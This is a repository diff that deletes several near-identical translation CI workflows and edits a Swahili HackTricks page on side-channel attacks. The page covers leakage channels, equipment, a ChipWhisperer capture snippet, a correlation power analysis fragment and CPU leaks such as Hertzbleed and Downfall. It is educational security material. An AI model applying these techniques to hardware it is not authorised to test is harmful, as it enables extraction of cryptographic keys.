run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete
|
119
.github/workflows/translate_pl.yml
vendored
119
.github/workflows/translate_pl.yml
vendored
@ -1,119 +0,0 @@
|
||||
name: Translator to PL (Polish)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: pl
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: Polish
|
||||
BRANCH: pl
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.12
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
mkdir scripts
|
||||
cd scripts
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete
|
119
.github/workflows/translate_pt.yml
vendored
119
.github/workflows/translate_pt.yml
vendored
@ -1,119 +0,0 @@
|
||||
name: Translator to PT (Portuguese)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: pt
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: Portuguese
|
||||
BRANCH: pt
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.12
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
mkdir scripts
|
||||
cd scripts
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete
|
119
.github/workflows/translate_sr.yml
vendored
119
.github/workflows/translate_sr.yml
vendored
@ -1,119 +0,0 @@
|
||||
name: Translator to SR (Serbian)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: sr
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: Serbian
|
||||
BRANCH: sr
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.12
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
mkdir scripts
|
||||
cd scripts
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete
|
119
.github/workflows/translate_sw.yml
vendored
119
.github/workflows/translate_sw.yml
vendored
@ -1,119 +0,0 @@
|
||||
name: Translator to SW (Swahili)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: sw
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: Swahili
|
||||
BRANCH: sw
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.12
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
mkdir scripts
|
||||
cd scripts
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete
|
119
.github/workflows/translate_tr.yml
vendored
119
.github/workflows/translate_tr.yml
vendored
@ -1,119 +0,0 @@
|
||||
name: Translator to TR (Turkish)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: tr
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: Turkish
|
||||
BRANCH: tr
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.12
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
mkdir scripts
|
||||
cd scripts
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete
|
119
.github/workflows/translate_uk.yml
vendored
119
.github/workflows/translate_uk.yml
vendored
@ -1,119 +0,0 @@
|
||||
name: Translator to UK (Ukranian)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: uk
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: Ukranian
|
||||
BRANCH: uk
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.12
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
mkdir scripts
|
||||
cd scripts
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete
|
119
.github/workflows/translate_zh.yml
vendored
119
.github/workflows/translate_zh.yml
vendored
@ -1,119 +0,0 @@
|
||||
name: Translator to ZH (Chinese)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: zh
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: Chinese
|
||||
BRANCH: zh
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.12
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
mkdir scripts
|
||||
cd scripts
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete
|
File diff suppressed because one or more lines are too long
@ -10,12 +10,12 @@ Mashambulizi ya kando yanapata siri kwa kuangalia "kuvuja" kwa kimwili au micro-
|
||||
|
||||
| Mkanali | Lengo la Kawaida | Vifaa |
|
||||
|---------|---------------|-----------------|
|
||||
| Matumizi ya nguvu | Kadi za smart, MCU za IoT, FPGAs | Oscilloscope + shunt resistor/HS probe (e.g. CW503)
|
||||
| Uwanja wa umeme (EM) | CPUs, RFID, wakandarasi wa AES | H-field probe + LNA, ChipWhisperer/RTL-SDR
|
||||
| Wakati wa utekelezaji / caches | CPUs za desktop & cloud | Wakati wa juu wa usahihi (rdtsc/rdtscp), wakati wa mbali wa kuruka
|
||||
| Kihisia / mitambo | Kibodi, printers za 3-D, relays | MEMS microphone, laser vibrometer
|
||||
| Mwangaza & joto | LEDs, printers za laser, DRAM | Photodiode / kamera ya kasi ya juu, kamera ya IR
|
||||
| Kufaulu kwa sababu | ASIC/MCU cryptos | Clock/voltage glitch, EMFI, laser injection
|
||||
| Matumizi ya nguvu | Kadi za smart, MCU za IoT, FPGAs | Oscilloscope + shunt resistor/HS probe (e.g. CW503) |
|
||||
| Uwanja wa umeme (EM) | CPUs, RFID, wakandarasi wa AES | H-field probe + LNA, ChipWhisperer/RTL-SDR |
|
||||
| Wakati wa utekelezaji / caches | CPUs za desktop & cloud | Wakati wa juu wa usahihi (rdtsc/rdtscp), wakati wa mbali wa kuruka |
|
||||
| Kihisia / mitambo | Kibodi, printers za 3-D, relays | MEMS microphone, laser vibrometer |
|
||||
| Mwangaza & joto | LEDs, printers za laser, DRAM | Photodiode / kamera ya kasi ya juu, kamera ya IR |
|
||||
| Kufaulu kwa sababu | ASIC/MCU cryptos | Clock/voltage glitch, EMFI, laser injection |
|
||||
|
||||
---
|
||||
|
||||
@ -35,7 +35,7 @@ trace = cw.capture.capture_trace()
|
||||
print(trace.wave) # numpy array of power samples
|
||||
```
|
||||
### Differential/Correlation Power Analysis (DPA/CPA)
|
||||
Pata *N > 1 000* traces, dhania funguo byte `k`, hesabu HW/HD model na uhusishe na leak.
|
||||
Pata *N > 1 000* traces, dhania key byte `k`, hesabu HW/HD model na uhusishe na leakage.
|
||||
```python
|
||||
import numpy as np
|
||||
corr = np.corrcoef(leakage_model(k), traces[:,sample])
|
||||
@ -51,33 +51,29 @@ Probes za EM za karibu (500 MHz–3 GHz) zinatoa taarifa sawa na uchambuzi wa ng
|
||||
|
||||
## Mashambulizi ya Wakati & Micro-architectural
|
||||
CPUs za kisasa zinatoa siri kupitia rasilimali zinazoshirikiwa:
|
||||
* **Hertzbleed (2022)** – upanuzi wa DVFS wa frequency unahusiana na uzito wa Hamming, kuruhusu *uchimbaji wa mbali* wa funguo za EdDSA.
|
||||
* **Hertzbleed (2022)** – upimaji wa DVFS unahusiana na uzito wa Hamming, kuruhusu *uchimbaji wa mbali* wa funguo za EdDSA.
|
||||
* **Downfall / Gather Data Sampling (Intel, 2023)** – utekelezaji wa muda mfupi kusoma data ya AVX-gather kupitia nyuzi za SMT.
|
||||
* **Zenbleed (AMD, 2023) & Inception (AMD, 2023)** – makosa ya utabiri wa vector yanavuja register za cross-domain.
|
||||
|
||||
Kwa matibabu pana ya masuala ya Spectre-class ona {{#ref}}
|
||||
../../cpu-microarchitecture/microarchitectural-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
## Mashambulizi ya Acoustic & Optical
|
||||
* 2024 "iLeakKeys" ilionyesha usahihi wa 95 % katika kurejesha keystrokes za laptop kutoka kwa **mike ya simu mahiri kupitia Zoom** kwa kutumia mwezo wa CNN.
|
||||
